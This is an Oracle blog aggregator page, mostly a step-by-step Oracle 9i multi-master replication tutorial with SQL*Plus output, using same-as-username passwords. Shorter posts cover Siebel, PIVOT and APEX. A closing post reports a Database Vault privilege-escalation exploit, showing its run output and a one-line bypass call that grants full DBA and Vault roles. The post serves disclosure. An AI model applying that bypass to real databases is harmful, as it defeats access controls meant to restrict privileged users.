Blog Aggregator

Oracle 9i Multi Master Advance Replication setup, testing and troubleshooting

Atul Kumar - 4 hours 29 min ago

Objective:
This paper is related to the Multi Master Replication setup, testing and troubleshooting.

Introduction:
In this Multi Master Replication testing two machines are being used.
There will be two databases on the two different machines i.e.

a) Master1 (Master definition Site)

This site will be used for the administration of the Replication setup.

b) Master2

This will act as a second Master site in the Replication.

Replication Setup Procedure:

On Master1 Database:

1- Check the init parameters

a) SQL> show parameter compatible

NAME TYPE VALUE
———————————— ———– ——————————
compatible string 9.2.0.0.0

It should be same as the Oracle 9i Release which is being used for the Replication

b) SQL> show parameter shared_pool_size

NAME TYPE VALUE
———————————— ———– ——————————
shared_pool_size big integer 50331648

Add 110MB in the shared_pool_size

c) SQL> show parameter processes

NAME TYPE VALUE
———————————— ———– ——————————
aq_tm_processes integer 1
db_writer_processes integer 1
job_queue_processes integer 10
log_archive_max_processes integer 2
processes integer 150

Add 12 to the processes

d) SQL> show parameter global_names

NAME TYPE VALUE
———————————— ———– ——————————
global_names boolean FALSE

It should be TRUE

e) SQL> show parameter db_domain

NAME TYPE VALUE
———————————— ———– ——————————
db_domain string

It is the extension component of the local databases Global Name

f) SQL> show parameter open_links

NAME TYPE VALUE
———————————— ———– ——————————
open_links integer 4
open_links_per_instance integer 4

Add 2 for each master site into open_links

g) distributed_transaction * need to be clarify

h) SQL> show parameter replication

NAME TYPE VALUE
———————————— ———– ——————————
replication_dependency_tracking boolean TRUE

i) NAME TYPE VALUE
———————————— ———– ——————————
job_queue_processes integer 10

Add 1 per additional Master

k) SQL> show parameter servers

NAME TYPE VALUE
———————————— ———– ——————————
parallel_max_servers integer 5
parallel_min_servers integer 0

set parallel_max_servers to 10
set parallel_min_servers to 2

2- Check the init parameters after modifications

a) SQL> show parameter compatible

NAME TYPE VALUE
———————————— ———– ——————————
compatible string 9.2.0.0.0

b) SQL> show parameter shared_pool_size

NAME TYPE VALUE
———————————— ———– ——————————
shared_pool_size big integer 167772160

c) SQL> show parameter processes

NAME TYPE VALUE
———————————— ———– ——————————
aq_tm_processes integer 1
db_writer_processes integer 1
job_queue_processes integer 11
log_archive_max_processes integer 2
processes integer 170

d) SQL> show parameter global_names

NAME TYPE VALUE
———————————— ———– ——————————
global_names boolean TRUE

e) SQL> show parameter db_domain

NAME TYPE VALUE
———————————— ———– ——————————
db_domain string world

f) SQL> show parameter open_links

NAME TYPE VALUE
———————————— ———– ——————————
open_links integer 6
open_links_per_instance integer 4

g) SQL> show parameter replication

NAME TYPE VALUE
———————————— ———– ——————————
replication_dependency_tracking boolean TRUE

h) SQL> show parameter job

NAME TYPE VALUE
———————————— ———– ——————————
job_queue_processes integer 11

i) SQL> show parameter parallel_max_servers

NAME TYPE VALUE
———————————— ———– ——————————
parallel_max_servers integer 10
SQL> show parameter parallel_min_servers

NAME TYPE VALUE
———————————— ———– ——————————
parallel_min_servers integer 2

3- Check the Tablespace Free Space

1 select tablespace_name,sum(bytes)/1024/1024 Free_Space
2 from dba_free_space
3* group by tablespace_name
SQL> /

TABLESPACE_NAME FREE_SPACE
—————————— ———-
CWMLITE 10.625
DRSYS 10.3125
EXAMPLE .125
INDX 24.9375
ODM 10.6875
SYSTEM 4.25
TOOLS 3.9375
UNDOTBS1 189.9375
USERS 24.9375
XDB .1875

System Tablespace should have 80MB free space
Undo Tablespace should have 60 MB free space

3.1) Increase the required space

a) Check the total space for each tablespace in database

SQL> l
1 select file_name,bytes/1024/1024
2* from dba_data_files
SQL> /

FILE_NAME BYTES/1024/1024
——————————————————- —————
G:\ORACLEPDB\ORADATA\MASTER1\SYSTEM01.DBF 400
G:\ORACLEPDB\ORADATA\MASTER1\UNDOTBS01.DBF 200
G:\ORACLEPDB\ORADATA\MASTER1\CWMLITE01.DBF 20
G:\ORACLEPDB\ORADATA\MASTER1\DRSYS01.DBF 20
G:\ORACLEPDB\ORADATA\MASTER1\EXAMPLE01.DBF 148.75
G:\ORACLEPDB\ORADATA\MASTER1\INDX01.DBF 25

G:\ORACLEPDB\ORADATA\MASTER1\ODM01.DBF 20
G:\ORACLEPDB\ORADATA\MASTER1\TOOLS01.DBF 10
G:\ORACLEPDB\ORADATA\MASTER1\USERS01.DBF 25
G:\ORACLEPDB\ORADATA\MASTER1\XDB01.DBF 38.125

b) Increase the system tablespace

1* alter database datafile ‘G:\ORACLEPDB\ORADATA\MASTER1\SYSTEM01.DBF’ resize 600m
SQL> /

Database altered.

c) Check the Free space again.

1 select tablespace_name,sum(bytes)/1024/1024 Free_Space
2 from dba_free_space
3* group by tablespace_name
SQL> /

TABLESPACE_NAME FREE_SPACE
—————————— ———-
CWMLITE 10.625
DRSYS 10.3125
EXAMPLE .125
INDX 24.9375
ODM 10.6875
SYSTEM 204.25
TOOLS 3.9375
UNDOTBS1 189.8125
USERS 24.9375
XDB .1875

4- Install the Replication catalog:

Oracle 9i does not required to install the Replication Catalog

5- Net9 configuration:

MASTER1 =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = localhost)(PORT = 1521))
)
(CONNECT_DATA =
(SERVER = DEDICATED)
(SERVICE_NAME = master1)
)
)

MASTER2 =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = 10.100.0.200)(PORT = 1521))
)
(CONNECT_DATA =
(SERVER = DEDICATED)
(SERVICE_NAME = master2)
)
)

6- Creation of Replication Administrator (REPADMIN):

SQL> create user repadmin identified by repadmin
2 default tablespace tools
3 temporary tablespace temp
4 quota unlimited on tools
5 quota unlimited on temp
6 quota 0 on system;

User created.

SQL> grant connect, resource to repadmin;

Grant succeeded.

SQL> exec dbms_repcat_admin.grant_admin_any_schema(’REPADMIN’)

PL/SQL procedure successfully completed.

SQL> grant comment any table to repadmin;

Grant succeeded.

SQL> grant lock any table to repadmin;

Grant succeeded.

7- Creation of Replication Propagator / Receiver:

The propagator user is responsible to forward the deferred transactions from the source master site to the destination master site.

The receiver user is responsible for applying these transactions at the destination master site.

The replication administrator, propagator and receiver are normally the same user i.e. REPADMIN

Register the REPADMIN as the propagator

SQL> execute dbms_defer_sys.register_propagator(’REPADMIN’)

PL/SQL procedure successfully completed. SQL> grant execute any procedure to repadmin;

Grant succeeded.

8- Creation of Schema Owner

This user is usually responsible for the day-to-day administration of the schema that replication objects are created upon and can be the same user or a separate user from REPADMIN.
SQL> ed
Wrote file afiedt.buf
1 create user repdba identified by repdba
2 default tablespace users
3 temporary tablespace temp
4 quota unlimited on users
5 quota unlimited on temp
6* quota 0 on system
SQL> /
User created.

9- Create Database Links

All databases participating in the Replication must have a unique global name. The global name should be the same as the database name.
a) Check the global_name

SQL> select *
2 from global_name
3 ;

GLOBAL_NAME
——————————————————–
MASTER1.US.ORACLE.COM

b) Change the global_name

SQL> update global_name
2 set global_name=’MASTER1′;
1 row updated.

SQL> commit;
Commit complete.
c) Check the global_name
SQL> select *
2 from global_name;

GLOBAL_NAME
—————————————
MASTER1

10- Create the Public Database Link

a) Check the database links in the database
SQL> select *
2 from dba_db_links;
no rows selected

b) Create the public database link
1 create public database link master2
2* using ‘master2′
SQL> /
Database link created.

c) Check the database link
1 select *
2* from dba_db_links

SQL> /

OWNER DB_LINK USERNAME HOST CREATED
—————————— ——————– —————————— ———- ———
PUBLIC MASTER2 master2 15-MAY-04

11- Create the Private Database Link for REPADMIN

a) Create the private database link by connecting as REPADMIN

1 create database link master2
2* connect to repadmin identified by repadmin
3 /

Database link created.

b) Check the database link

SQL> l
1 select *
2* from dba_db_links
SQL> /

OWNER DB_LINK USERNAME HOST CREATED
———- ——————– —————————— ———- ———
PUBLIC MASTER2 master2 17-MAY-04
REPADMIN MASTER2 REPADMIN 17-MAY-04

12- Schedule “push” and “purge” jobs:

a) Connect with REPADMIN

b) Set up the “push” job to push the deferred queue automatically.

1 begin
2 dbms_defer_sys.schedule_push (
3 DESTINATION => ‘master2′,
4 INTERVAL => ‘/*1:Mins*/ sysdate + 10/(60*24)’,
5 NEXT_DATE => sysdate,
6 STOP_ON_ERROR => FALSE,
7 delay_seconds => 0,
8 PARALLELISM => 1);
9* end;

SQL> /

PL/SQL procedure successfully completed.

c) Set up the “purge” job to purge the deferred queue automatically.

SQL> begin
2 dbms_defer_sys.schedule_purge(
3 next_date => sysdate,
4 interval => ‘/*1:Hr*/ sysdate + 1/24′,
5 delay_seconds => 0,
6 rollback_segment => ”);
7 end;
8 /

PL/SQL procedure successfully completed.

On Master2 Database:

1- Check the init parameters

SQL> show parameter compatible

NAME TYPE VALUE
———————————— ———– ——————————
compatible string 9.2.0.0.0
It should be same as the Oracle 9i Release which is being used for the Replication

b) SQL> show parameter shared_pool_size

NAME TYPE VALUE
———————————— ———– ——————————
shared_pool_size big integer 50331648

Add 110MB in the shared_pool_size

c) SQL> SQL> show parameter processes

NAME TYPE VALUE
———————————— ———– ——————————
aq_tm_processes integer 1
db_writer_processes integer 1
job_queue_processes integer 10
log_archive_max_processes integer 2
processes integer 150

Add 12 to the processes

d) SQL> SQL> show parameter global_names

NAME TYPE VALUE
———————————— ———– ——————————
global_names boolean FALSE

It should be TRUE

e) SQL> SQL> show parameter db_domain

NAME TYPE VALUE
———————————— ———– ——————————
db_domain string world

It is the extension component of the local databases Global Name

f) SQL> SQL> show parameter open_links

NAME TYPE VALUE
———————————— ———– ——————————
open_links integer 4
open_links_per_instance integer 4

Add 2 for each master site into open_links

g) distributed_transaction * need to be clarify

h) SQL> SQL> show parameter replication

NAME TYPE VALUE
———————————— ———– ——————————
replication_dependency_tracking boolean TRUE

i) SQL> show parameter job_queue

NAME TYPE VALUE
———————————— ———– ——————————
job_queue_processes integer 10

Add 1 per additional Master
k) SQL> SQL> show parameter servers

NAME TYPE VALUE
———————————— ———– ——————————
parallel_max_servers integer 5
parallel_min_servers integer 0

set parallel_max_servers to 10
set parallel_min_servers to 2

2- Check the init parameters after modifications

a) SQL> show parameter compatible

NAME TYPE VALUE
———————————— ———– ——————————
compatible string 9.2.0.0.0

b) SQL> SQL> show parameter shared_pool_size

NAME TYPE VALUE
———————————— ———– ——————————
shared_pool_size big integer 167772160

c) SQL> SQL> show parameter processes

NAME TYPE VALUE
———————————— ———– ——————————
aq_tm_processes integer 1
db_writer_processes integer 1
job_queue_processes integer 11
log_archive_max_processes integer 2
processes integer 170

d) SQL> SQL> show parameter global_names

NAME TYPE VALUE
———————————— ———– ——————————
global_names boolean TRUE

e) SQL> SQL> show parameter db_domain ***

NAME TYPE VALUE
———————————— ———– ——————————
db_domain string

f) SQL> SQL> show parameter open_links

NAME TYPE VALUE
———————————— ———– ——————————
open_links integer 6
open_links_per_instance integer 4

g) SQL> SQL> show parameter replication

NAME TYPE VALUE
———————————— ———– ——————————
replication_dependency_tracking boolean TRUE

h) SQL> SQL> show parameter job

NAME TYPE VALUE
———————————— ———– ——————————
job_queue_processes integer 11

i) SQL> SQL> show parameter parallel_max_servers

NAME TYPE VALUE
———————————— ———– ——————————
parallel_max_servers integer 10
SQL> SQL> show parameter parallel_min_servers

NAME TYPE VALUE
———————————— ———– ——————————
parallel_min_servers integer 2

3- Check the Tablespace Free Space

1 select tablespace_name,sum(bytes)/1024/1024 Free_Space
2 from dba_free_space
3* group by tablespace_name
SQL> /

TABLESPACE_NAME FREE_SPACE
—————————— ———-
CWMLITE 10.625
DRSYS 10.3125
EXAMPLE .125
INDX 24.9375
ODM 10.6875
SYSTEM 4.25
TOOLS 3.9375
UNDOTBS1 194.375
USERS 24.9375
XDB .1875

System Tablespace should have 80MB free space
Undo Tablespace should have 60 MB free space
3.1) Increase the required space
b) Check the total space for each tablespace in database

SQL> l
1 1 select file_name,bytes/1024/1024
2* from dba_data_files
SQL> /

FILE_NAME BYTES/1024/1024
——————————————————- —————
F:\ORACLESB\ORADATA\MASTER2\SYSTEM01.DBF 400
F:\ORACLESB\ORADATA\MASTER2\UNDOTBS01.DBF 200
F:\ORACLESB\ORADATA\MASTER2\CWMLITE01.DBF 20
F:\ORACLESB\ORADATA\MASTER2\DRSYS01.DBF 20
F:\ORACLESB\ORADATA\MASTER2\EXAMPLE01.DBF 148.75
F:\ORACLESB\ORADATA\MASTER2\INDX01.DBF 25
F:\ORACLESB\ORADATA\MASTER2\ODM01.DBF 20
F:\ORACLESB\ORADATA\MASTER2\TOOLS01.DBF 10
F:\ORACLESB\ORADATA\MASTER2\USERS01.DBF 25
F:\ORACLESB\ORADATA\MASTER2\XDB01.DBF 38.125

b) Increase the system tablespace
SQL> alter database datafile ‘F:\ORACLESB\ORADATA\MASTER2\SYSTEM01.DBF’ resize 600m;

Database altered.

c) SQL> select tablespace_name,sum(bytes)/1024/1024 Free_Space
2 from dba_free_space
3 group by tablespace_name
4 /

TABLESPACE_NAME FREE_SPACE
—————————— ———-
CWMLITE 10.625
DRSYS 10.3125
EXAMPLE .125
INDX 24.9375
ODM 10.6875
SYSTEM 204.25
TOOLS 3.9375
UNDOTBS1 194.375
USERS 24.9375
XDB .1875

4- Install the Replication catalog:

Oracle 9i does not required to install the Replication Catalog

5- Net9 configuration:

MASTER2 =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = 10.100.0.200)(PORT = 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = master2)
)
)

MASTER1 =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = 10.100.0.71)(PORT = 1526))
)
(CONNECT_DATA =
(SERVICE_NAME = master1)
)
)

6- Creation of Replication Administrator (REPADMIN):

1 create user repadmin identified by repadmin
2 default tablespace tools
3 temporary tablespace temp
4 quota unlimited on tools
5 quota unlimited on temp
6* quota 0 on system
SQL> /

User created.
SQL> grant connect, resource to repadmin;

Grant succeeded.

SQL> exec dbms_repcat_admin.grant_admin_any_schema(’REPADMIN’)

PL/SQL procedure successfully completed.

SQL> grant comment any table to repadmin;

Grant succeeded.

SQL> grant lock any table to repadmin;

Grant succeeded.

7- Creation of Replication Propagator / Receiver:

The propagator user is responsible to forward the deferred transactions from the source master site to the destination master site.

The receiver user is responsible for applying these transactions at the destination master site.

The replication administrator, propagator and receiver are normally the same user i.e. REPADMIN
Register the REPADMIN as the propagator

SQL> execute dbms_defer_sys.register_propagator(’REPADMIN’)

PL/SQL procedure successfully completed. SQL> grant execute any procedure to repadmin;

Grant succeeded.

8- Creation of Schema Owner

This user is usually responsible for the day-to-day administration of the schema that replication objects are created upon and can be the same user or a separate user from REPADMIN.

SQL> ed
Wrote file afiedt.buf

1 create user repdba identified by repdba
2 default tablespace users
3 temporary tablespace temp
4 quota unlimited on users
5 quota unlimited on temp
6* quota 0 on system
SQL> /

User created.

9- Create Database Links

All databases participating in the Replication must have a unique global name. The global name should be the same as the database name.
a) Check the global_name

SQL> select *
2 from global_name
3 ;

GLOBAL_NAME
——————————————————–
MASTER2

10-Create the Public Database Link

a) Check the database links in the database

SQL> select *
2 from dba_db_links;

no rows selected

b) Create the public database link

1 create public database link master1
2* using ‘master1′
SQL> /

Database link created.

c) Check the database link

1 select *
2* from dba_db_links
SQL> /

OWNER DB_LINK USERNAME HOST CREATED
———- —————————— —————————— ———- ———
PUBLIC MASTER1 master1 03-DEC-04

11-Create the Private Database Link for REPADMIN

a) Create the private database link by connecting as REPADMIN

1 create database link master1
2* connect to repadmin identified by repadmin
3 /

Database link created.

b) Check the database link

SQL> l
1 SQL> select *
2 from dba_db_links;

OWNER DB_LINK USERNAME HOST CREATED
———- —————————— —————————— ———- ———
PUBLIC MASTER1 master1 03-DEC-04
REPADMIN MASTER1 REPADMIN 17-MAY-04

12-Schedule “push” and “purge” jobs:

a) Connect with REPADMIN

b) Set up the “push” job to push the deferred queue automatically.

1 begin
2 dbms_defer_sys.schedule_push (
3 DESTINATION => ‘master1′,
4 INTERVAL => ‘/*10:Mins*/ sysdate + 10/(60*24)’,
5 NEXT_DATE => sysdate,
6 STOP_ON_ERROR => FALSE,
7 delay_seconds => 0,
8 PARALLELISM => 1);
9* end;
SQL> /

PL/SQL procedure successfully completed.

c) Set up the “purge” job to purge the deferred queue automatically.

SQL> begin
2 dbms_defer_sys.schedule_purge(
3 next_date => sysdate,
4 interval => ‘/*1:Hr*/ sysdate + 1/24′,
5 delay_seconds => 0,
6 rollback_segment => ”);
7 end;
8 /

PL/SQL procedure successfully completed.

Object Creation on Master1

a) Connect with REPDBA and create the following objects

DROP TABLE DEPT; CREATE TABLE DEPT (DEPTNO NUMBER(2) CONSTRAINT PK_DEPT PRIMARY KEY, DNAME VARCHAR2(14) , LOC VARCHAR2(13) ) ; DROP TABLE EMP; CREATE TABLE EMP (EMPNO NUMBER(4) CONSTRAINT PK_EMP PRIMARY KEY, ENAME VARCHAR2(10), JOB VARCHAR2(9), MGR NUMBER(4), HIREDATE DATE, SAL NUMBER(7,2), COMM NUMBER(7,2), DEPTNO NUMBER(2) CONSTRAINT FK_DEPTNO REFERENCES DEPT);SQL> conn repdba/repdba@master1
Connected.
SQL> show user
USER is “REPDBA”
SQL> DROP TABLE DEPT;
DROP TABLE DEPT
*
ERROR at line 1:
ORA-00942: table or view does not exist

SQL> CREATE TABLE DEPT
2 (DEPTNO NUMBER(2) CONSTRAINT PK_DEPT PRIMARY KEY,
3 DNAME VARCHAR2(14) ,
4 LOC VARCHAR2(13) ) ;

Table created.

SQL> DROP TABLE EMP;
DROP TABLE EMP
*
ERROR at line 1:
ORA-00942: table or view does not exist

SQL> CREATE TABLE EMP
2 (EMPNO NUMBER(4) CONSTRAINT PK_EMP PRIMARY KEY,
3 ENAME VARCHAR2(10),
4 JOB VARCHAR2(9),
5 MGR NUMBER(4),
6 HIREDATE DATE,
7 SAL NUMBER(7,2),
8 COMM NUMBER(7,2),
9 DEPTNO NUMBER(2) CONSTRAINT FK_DEPTNO REFERENCES DEPT);

Table created.

b) Create Master Replication Object Group at Master1 by connecting as REPADMIN

1 begin
2 dbms_repcat.create_master_repgroup(
3 gname => ‘”GROUP1″‘,
4 qualifier => ”,
5 group_comment => ”);
6* end;
SQL> /
PL/SQL procedure successfully completed.

c) Add Master Database

SQL> begin
2 dbms_repcat.add_master_database(
3 gname => ‘”GROUP1″‘,
4 master => ‘master2′,
5 use_existing_objects => TRUE,
6 copy_rows => TRUE,
7 propagation_mode => ‘ASYNCHRONOUS’);
8 end;
9 /

PL/SQL procedure successfully completed.

d) Create Objects into Group i.e. “group1”
1 begin
2 dbms_repcat.create_master_repobject(
3 gname => ‘”GROUP1″‘,
4 type => ‘TABLE’,
5 oname => ‘DEPT’,
6 sname => ‘”REPDBA”‘,
7 copy_rows => TRUE,
8 use_existing_object => TRUE);
9* end;
SQL> /
PL/SQL procedure successfully completed.

1 begin
2 dbms_repcat.create_master_repobject(
3 gname => ‘”GROUP1″‘,
4 type => ‘TABLE’,
5 oname => ‘EMP’,
6 sname => ‘”REPDBA”‘,
7 copy_rows => TRUE,

8 use_existing_object => TRUE);
9* end;
SQL> /
PL/SQL procedure successfully completed.

e) Generate the Replication support

SQL> begin
2 dbms_repcat.generate_replication_support(
3 sname => ‘”REPDBA”‘,
4 oname => ‘”DEPT”‘,
5 type => ‘TABLE’,
6 min_communication => TRUE);
7 end;
8 /

PL/SQL procedure successfully completed.

1 begin
2 dbms_repcat.generate_replication_support(
3 sname => ‘”REPDBA”‘,
4 oname => ‘”EMP”‘,
5 type => ‘TABLE’,
6 min_communication => TRUE);
7* end;
SQL> /

PL/SQL procedure successfully completed.

f) Resume activity on the Master1

SQL> begin
2 dbms_repcat.resume_master_activity(
3 gname => ‘”GROUP1″‘);
4 END;
5 /

PL/SQL procedure successfully completed.

Test the Replication

a) Insert rows into DEPT at Master1 site, by connecting REPDBA

INSERT INTO DEPT VALUES (10,’ACCOUNTING’,'NEW YORK’); INSERT INTO DEPT VALUES (20,’RESEARCH’,'DALLAS’); INSERT INTO DEPT VALUES (30,’SALES’,'CHICAGO’); INSERT INTO DEPT VALUES (40,’OPERATIONS’,'BOSTON’);

b) As soon as the “push” job executes at Master1 site, these inserted records will be pushed into the Master2 site. This behavior is vice versa as this is Multi Master Replication setup.

c) Insert rows into EMP at Master1 site, by connecting REPDBA

SQL> conn repdba/repdba@master1
Connected.

SQL> INSERT INTO EMP VALUES (7499,’ALLEN’,'SALESMAN’,7698,
to_date(’20-2-1981′,’dd-mm-yyyy’),1600,300,30);

1 row created.

SQL> commit;

SQL> select *
2 from emp;

EMPNO ENAME JOB MGR HIREDATE SAL COMM DEPTNO
———- ———- ——— ———- ——— ———- ———- ———-
7369 SMITH CLERK 7902 17-DEC-80 800 20
7499 ALLEN SALESMAN 7698 20-FEB-81 1600 300 30

d) Check the EMP table in Master2 site by connecting REPDBA
SQL> conn repdba/repdba@master2
Connected.
SQL> select *
2 from emp;

EMPNO ENAME JOB MGR HIREDATE SAL COMM DEPTNO
———- ———- ——— ———- ——— ———- ———- ———-
7369 SMITH CLERK 7902 17-DEC-80 800 20

After 10 minutes again apply the SELECT statement.

SQL> select *
2 from emp;

EMPNO ENAME JOB MGR HIREDATE SAL COMM DEPTNO
———- ———- ——— ———- ——— ———- ———- ———-
7369 SMITH CLERK 7902 17-DEC-80 800 20
7499 ALLEN SALESMAN 7698 20-FEB-81 1600 300 30

The same records have been pushed to site Master2. So the Multi Master Replication
is working fine.

The same thing can be applied vice versa as well.

f) connect repdba/repdba@master2
SQL> conn repdba/repdba@master2
Connected.

g) SELECT the rows from the EMP table

SQL> select *
2 from emp;

EMPNO ENAME JOB MGR HIREDATE SAL COMM DEPTNO
———- ———- ——— ———- ——— ———- ———- ———-
7369 SMITH CLERK 7902 17-DEC-80 800 20
7499 ALLEN SALESMAN 7698 20-FEB-81 1600 300 30

h) Insert one new record into EMP table

1 INSERT INTO EMP VALUES (7521,’WARD’,'SALESMAN’,
2* 7698,to_date(’22-2-1981′,’dd-mm-yyyy’),1250,500,30)
SQL> /

1 row created.

SQL> commit;

Commit complete.
i) Again SELECT from emp

SQL> select *
2 from emp;

EMPNO ENAME JOB MGR HIREDATE SAL COMM DEPTNO
———- ———- ——— ———- ——— ———- ———- ———-
7369 SMITH CLERK 7902 17-DEC-80 800 20
7521 WARD SALESMAN 7698 22-FEB-81 1250 500 30
7499 ALLEN SALESMAN 7698 20-FEB-81 1600 300 30

j) Now connect repdba/repdba@master1

SQL> conn repdba/repdba@master1
Connected.

k) SELECT records from the emp table

SQL> select *
2 from emp;

EMPNO ENAME JOB MGR HIREDATE SAL COMM DEPTNO
———- ———- ——— ———- ——— ———- ———- ———-
7369 SMITH CLERK 7902 17-DEC-80 800 20
7499 ALLEN SALESMAN 7698 20-FEB-81 1600 300 30

The third record has yet not been pushed to Master1 site. This will be pushed as soon as the “push” job is executed at Master2 site.

Again SELECT the records from EMP table.

SQL> select *
2 from emp
3 /

EMPNO ENAME JOB MGR HIREDATE SAL COMM DEPTNO
———- ———- ——— ———- ——— ———- ———- ———-
7369 SMITH CLERK 7902 17-DEC-80 800 20
7521 WARD SALESMAN 7698 22-FEB-81 1250 500 30
7499 ALLEN SALESMAN 7698 20-FEB-81 1600 300 30

Now the same records have been pushed to site Master1 from Master2 site. So the Multi Master Replication is working fine from both the ends.


 check the status of the propagated transaction:

a) Connect to Master1 as REPDBA

SQL> conn repdba/repdba@master1
Connected.

b) Insert one record into EMP

SQL> INSERT INTO EMP VALUES (7566,’JONES’,'MANAGER’,7839, to_date(’2-4-1981′,’dd-mm-yyyy’),2975,NULL,20);

1 row created.

SQL> commit;

c) Select the table EMP

SQL> select *
2 from emp;

EMPNO ENAME JOB MGR HIREDATE SAL COMM DEPTNO
———- ———- ——— ———- ——— ———- ———- ———-
7369 SMITH CLERK 7902 17-DEC-80 800 20
7521 WARD SALESMAN 7698 22-FEB-81 1250 500 30
7566 JONES MANAGER 7839 02-APR-81 2975 20
7499 ALLEN SALESMAN 7698 20-FEB-81 1600 300 30

d) Check the view “defcall”

SQL> select *
2 from defcall;

CALLNO DEFERRED_TRAN_ID SCHEMANAME PACKAGENAME PROCNAME ARGCOUNT
———- —————————— —————————— —————————— —————————— ———-
0 10.13.263 REPDBA EMP$RP REP_INSERT 10

e) Check the view “deftrandest”

SQL> select *
2 from deftrandest;
DEFERRED_TRAN_ID DELIVERY_ORDER DBLINK
—————————— ————– ————–
10.13.263 302468 MASTER2

f) connect to Master2 as REPDBA

SQL> conn repdba/repdba@master2
Connected.

g) Check the EMP Table

SQL> select *
2 from emp;
EMPNO ENAME JOB MGR HIREDATE SAL COMM DEPTNO
———- ———- ——— ———- ——— ———- ———- ———-
7369 SMITH CLERK 7902 17-DEC-80 800 20
7521 WARD SALESMAN 7698 22-FEB-81 1250 500 30
7499 ALLEN SALESMAN 7698 20-FEB-81 1600 300 30

h) connect to Master1 as REPADMIN and execute the following procedure to push the transaction to the Master2

SQL> execute dbms_defer_sys.execute(’master2′);
PL/SQL procedure successfully completed.

i) Connect to Master 2 as REPDBA
SQL> conn repdba/repdba@master2
Connected.

j) Check the EMP table
SQL> /

EMPNO ENAME JOB MGR HIREDATE SAL COMM DEPTNO
———- ———- ——— ———- ——— ———- ———- ———-
7369 SMITH CLERK 7902 17-DEC-80 800 20
7521 WARD SALESMAN 7698 22-FEB-81 1250 500 30
7566 JONES MANAGER 7839 02-APR-81 2975 20
7499 ALLEN SALESMAN 7698 20-FEB-81 1600 300 30

Oracle 9i Multi Master Advance Replication setup, testing and troubleshooting

Online Apps DBA - 4 hours 29 min ago
Objective: This paper is related to the Multi Master Replication setup, testing and troubleshooting. Introduction: In this Multi Master Replication testing two machines are being used. There will be two databases on the two different machines i.e. a) Master1 (Master definition Site) This site will be used for the administration of the Replication setup. b) Master2 This will act as a second Master [...]

This is summary of post for full content kindly visit http://onlineAppsDBA.com
Categories: APPS Blogs

Maximizing Siebel Uptime

Rob Smyth - 5 hours 40 min ago
For all those of you who have a technical bent, we have published a white paper with our recommendations on how to devise an architecture to keep your Siebel application running. This is one of the many benefits of owning... robert.smyth

PIVOT and UNPIVOT in 11g…

Tim Hall - 6 hours 47 min ago

I’m trying to get back into the swing of writing again after my 2 month layoff. It’s a little daunting, but quite fun as well.

There’s a bunch of 11g new features that didn’t make it into the OCP exam, and the PIVOT and UNPIVOT operators fall slap bang into that category.

Pretty neat!

Cheers

Tim…

Group Headings in an Interactive Report (APEX)

Dimitri Gielis - 7 hours 6 min ago
Did you ever wanted a group heading above your column headings in an Interactive Report in APEX? I wondered why that wasn't already included in APEX, as all components are there to get it to work. Let's create a little example to show what I mean.

Create an Interactive Report on the emp table (for ex. select * from emp).

In your Interactive Report details there's a section Column Groups where you can define groups.
But it also says: "Column Groups are used to group columns together on the single row view."
In my example I created two groups.


Next we need to edit the group to say which columns belong to which group.
In my example I specified that the columns Empno and Ename belong to Group 1. I specified some other columns for my Group 2.


If you run the page you'll see this IR (without group headings)


But when you select the single row view (the Edit icon in front of the row) you'll see this:


So you can see the groups nicely in the single row view but it's not there in the normal report...

So I thought, as APEX is completely dictionary driven, we should be able to find all the pieces and with some javascript we should be able to change the DOM element to include the group headings in the normal report too. The result:

You can see this example live here, the source code is also there, so you can see how I did things.

On the page I open the "Select Columns" automatically, so you can see the available columns and the groups in () and you can dynamically play with showing and hiding columns.

In short the way it works:
1) Query the APEX dictionary to see which columns and groups there are defined and return a string that can be parsed into a json object.
2) Create a javascript function to add the group headings above the column headers. I put some notes in the javascript and added a lot of console.log's. If you remove the // you'll see in Firebug a full trace what is happening.
3) To attach it to the Interactive Report and call it from your page you need to do some more. At OOW I had a chat with Carl about it, at the moment you can't call your own function at the end when the interactive report is called (but he was going to change that in future releases). Carl told me I was forced to put a little timeout there to make sure the Interactive Report was drawn before my javascript ran.

Feel free to try it in your own environment and give some feedback. The code is generic so you should be able to plug it into your environment without that much effort. I didn't use jquery as I wanted a generic solution for a "normal" APEX environment. Another thing I didn't do is looking if you defined a link (edit icon) before the row or not. So these might be enhancements for the next release...
Categories: Development

Oracle Database Vault Privilege Escalation Exploit published

Alexander Kornbrust - Thu, 2008-11-20 23:20

Few days ago Jakub Wartak has posted an exploit showing how to switch DV off on his blog.Jakub describes that he was surprised that Data Vault does not protect from OS side. That’s something many people are not aware of. Oracle Data Vault is not designed to protect from normal DBAs (with OS access).Here the usage of his exploit:

[oracle@xeno ora_dv_mem_off]$ !gcc
gcc -Wall ora_dv_mem_off.c -o ora_dv_mem_off -lbfd -liberty
ora_dv_mem_off.c: In function ‘locate_dv_func’:
ora_dv_mem_off.c:92: warning: initialization discards qualifiers from pointer
target type
ora_dv_mem_off.c:93: warning: initialization makes pointer from integer
without a cast

[oracle@xeno ora_dv_mem_off]$ ./ora_dv_mem_off
[17035] starting to trace sqlplus process (17036)
[***] NOW TYPE IN SQLPLUS: conn / as sysdba
[17035] execve() syscall in 17036

SQL*Plus: Release 10.2.0.3.0 - Production on Wed Feb 27 18:56:55 2008

Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.

SQL> conn / as sysdba
[17035] clone() syscall in 17036, tracing orapid=17037
[17035] execve() syscall in 17037,
[17035] symbol “kzvtins” at 0xb185820
[***] sucessfuly validated function, DatabaseVault=1
[***] attempting to rewrite memory at 0xb185824
Connected.
SQL> create user god identified by abc;

User created.

SQL> grant dba,dv_admin,dv_owner,connect,resource to god;

Grant succeeded. 

 

Here is another (easier) way to bypass Data Vault without installing/compiling software. I found this issue a few months ago (in Oracle 11.1.0.6). After contacting secalert they told me that this issue was already fixed in Oracle CPU July 2008 (but not documented):

– run as user with DBA privleges 

SQL>  exec sys.kupp$proc.change_user(’DVA’);

PL/SQL procedure successfully completed. 

 

New User Group: North India Oracle Users Group (nioug.org)

Dan Norris - Thu, 2008-11-20 21:52

